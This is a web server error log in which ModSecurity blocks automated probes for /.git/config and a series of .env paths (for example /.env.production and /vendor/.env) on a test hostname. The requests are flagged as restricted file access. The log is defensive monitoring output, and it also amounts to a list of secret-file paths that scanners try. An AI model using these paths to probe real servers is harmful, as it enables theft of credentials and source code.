[Wed Nov 26 10:20:08.298142 2025] [:error] [pid 336734] [client 162.158.87.188:13598] [client 162.158.87.188] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aSbGSMVzR697olltB6JkmwAAAA8&quot;]
[Wed Nov 26 10:20:08.298370 2025] [:error] [pid 336734] [client 162.158.87.188:13598] [client 162.158.87.188] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aSbGSMVzR697olltB6JkmwAAAA8&quot;]
[Thu Nov 27 21:11:43.569678 2025] [:error] [pid 362070] [client 3.96.197.169:50570] [client 3.96.197.169] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aSiwf37GWRIORDaPTtG7MQAAAAs&quot;]
[Thu Nov 27 21:11:43.569922 2025] [:error] [pid 362070] [client 3.96.197.169:50570] [client 3.96.197.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aSiwf37GWRIORDaPTtG7MQAAAAs&quot;]
[Thu Nov 27 21:11:43.570705 2025] [:error] [pid 362070] [client 3.96.197.169:50570] [client 3.96.197.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aSiwf37GWRIORDaPTtG7MQAAAAs&quot;]
[Thu Nov 27 21:11:43.708012 2025] [:error] [pid 364938] [client 3.96.197.169:50572] [client 3.96.197.169] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aSiwf1EFdTVEtgaNa5gxGgAAAAc&quot;]
[Thu Nov 27 21:11:43.708240 2025] [:error] [pid 364938] [client 3.96.197.169:50572] [client 3.96.197.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aSiwf1EFdTVEtgaNa5gxGgAAAAc&quot;]
[Thu Nov 27 21:11:43.708419 2025] [:error] [pid 364938] [client 3.96.197.169:50572] [client 3.96.197.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aSiwf1EFdTVEtgaNa5gxGgAAAAc&quot;]
[Thu Nov 27 21:11:43.709956 2025] [:error] [pid 354739] [client 3.96.197.169:50574] [client 3.96.197.169] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.remote&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.remote&quot;] [unique_id &quot;aSiwf-_UStX-GTeIAe_vCQAAAAY&quot;]
[Thu Nov 27 21:11:43.710135 2025] [:error] [pid 354739] [client 3.96.197.169:50574] [client 3.96.197.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.remote&quot;] [unique_id &quot;aSiwf-_UStX-GTeIAe_vCQAAAAY&quot;]
[Thu Nov 27 21:11:43.710293 2025] [:error] [pid 354739] [client 3.96.197.169:50574] [client 3.96.197.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.remote&quot;] [unique_id &quot;aSiwf-_UStX-GTeIAe_vCQAAAAY&quot;]
[Thu Nov 27 21:11:44.714093 2025] [:error] [pid 362069] [client 3.96.197.169:50674] [client 3.96.197.169] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aSiwgLt0j3LvN_HNhHWZHQAAAAo&quot;]
[Thu Nov 27 21:11:44.714382 2025] [:error] [pid 362069] [client 3.96.197.169:50674] [client 3.96.197.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aSiwgLt0j3LvN_HNhHWZHQAAAAo&quot;]
[Thu Nov 27 21:11:44.714556 2025] [:error] [pid 362069] [client 3.96.197.169:50674] [client 3.96.197.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aSiwgLt0j3LvN_HNhHWZHQAAAAo&quot;]
[Thu Nov 27 21:11:45.544912 2025] [:error] [pid 353187] [client 3.96.197.169:50798] [client 3.96.197.169] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aSiwgXjjVMPW7zDRgsawewAAAAM&quot;]
[Thu Nov 27 21:11:45.545138 2025] [:error] [pid 353187] [client 3.96.197.169:50798] [client 3.96.197.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aSiwgXjjVMPW7zDRgsawewAAAAM&quot;]
[Thu Nov 27 21:11:45.545319 2025] [:error] [pid 353187] [client 3.96.197.169:50798] [client 3.96.197.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aSiwgXjjVMPW7zDRgsawewAAAAM&quot;]
[Thu Nov 27 21:11:45.789681 2025] [:error] [pid 364939] [client 3.96.197.169:50800] [client 3.96.197.169] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lib/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env&quot;] [unique_id &quot;aSiwgRr_ze0xmC_DyvfLdgAAAA0&quot;]
[Thu Nov 27 21:11:45.790015 2025] [:error] [pid 364939] [client 3.96.197.169:50800] [client 3.96.197.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env&quot;] [unique_id &quot;aSiwgRr_ze0xmC_DyvfLdgAAAA0&quot;]
[Thu Nov 27 21:11:45.790253 2025] [:error] [pid 364939] [client 3.96.197.169:50800] [client 3.96.197.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env&quot;] [unique_id &quot;aSiwgRr_ze0xmC_DyvfLdgAAAA0&quot;]
[Thu Nov 27 21:11:45.791545 2025] [:error] [pid 353188] [client 3.96.197.169:50796] [client 3.96.197.169] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aSiwgT4fHjXDucK3GWvWzwAAAAQ&quot;]
[Thu Nov 27 21:11:45.791560 2025] [:error] [pid 353185] [client 3.96.197.169:50806] [client 3.96.197.169] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cron/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.env&quot;] [unique_id &quot;aSiwgXTG8IrOxOxezX5A7wAAAAE&quot;]
[Thu Nov 27 21:11:45.791741 2025] [:error] [pid 353185] [client 3.96.197.169:50806] [client 3.96.197.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.env&quot;] [unique_id &quot;aSiwgXTG8IrOxOxezX5A7wAAAAE&quot;]
[Thu Nov 27 21:11:45.791780 2025] [:error] [pid 353188] [client 3.96.197.169:50796] [client 3.96.197.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aSiwgT4fHjXDucK3GWvWzwAAAAQ&quot;]
[Thu Nov 27 21:11:45.791910 2025] [:error] [pid 353185] [client 3.96.197.169:50806] [client 3.96.197.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.env&quot;] [unique_id &quot;aSiwgXTG8IrOxOxezX5A7wAAAAE&quot;]
[Thu Nov 27 21:11:45.791929 2025] [:error] [pid 353188] [client 3.96.197.169:50796] [client 3.96.197.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aSiwgT4fHjXDucK3GWvWzwAAAAQ&quot;]
[Thu Nov 27 21:11:45.792822 2025] [:error] [pid 353186] [client 3.96.197.169:50802] [client 3.96.197.169] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cronlab/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cronlab/.env&quot;] [unique_id &quot;aSiwgSOJA5NFmjDGU5hIXQAAAAI&quot;]
[Thu Nov 27 21:11:45.792972 2025] [:error] [pid 353186] [client 3.96.197.169:50802] [client 3.96.197.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cronlab/.env&quot;] [unique_id &quot;aSiwgSOJA5NFmjDGU5hIXQAAAAI&quot;]
[Thu Nov 27 21:11:45.793127 2025] [:error] [pid 353186] [client 3.96.197.169:50802] [client 3.96.197.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cronlab/.env&quot;] [unique_id &quot;aSiwgSOJA5NFmjDGU5hIXQAAAAI&quot;]
[Thu Nov 27 21:11:45.793986 2025] [:error] [pid 360200] [client 3.96.197.169:50804] [client 3.96.197.169] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lab/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lab/.env&quot;] [unique_id &quot;aSiwgQQeQhonID1lme2zJwAAAAk&quot;]
[Thu Nov 27 21:11:45.794121 2025] [:error] [pid 360200] [client 3.96.197.169:50804] [client 3.96.197.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lab/.env&quot;] [unique_id &quot;aSiwgQQeQhonID1lme2zJwAAAAk&quot;]
[Thu Nov 27 21:11:45.794263 2025] [:error] [pid 360200] [client 3.96.197.169:50804] [client 3.96.197.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lab/.env&quot;] [unique_id &quot;aSiwgQQeQhonID1lme2zJwAAAAk&quot;]
[Thu Nov 27 21:11:46.467123 2025] [:error] [pid 370269] [client 3.96.197.169:50920] [client 3.96.197.169] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/app/.env&quot;] [unique_id &quot;aSiwghiSlIjWBzVa8TIEywAAAAA&quot;]
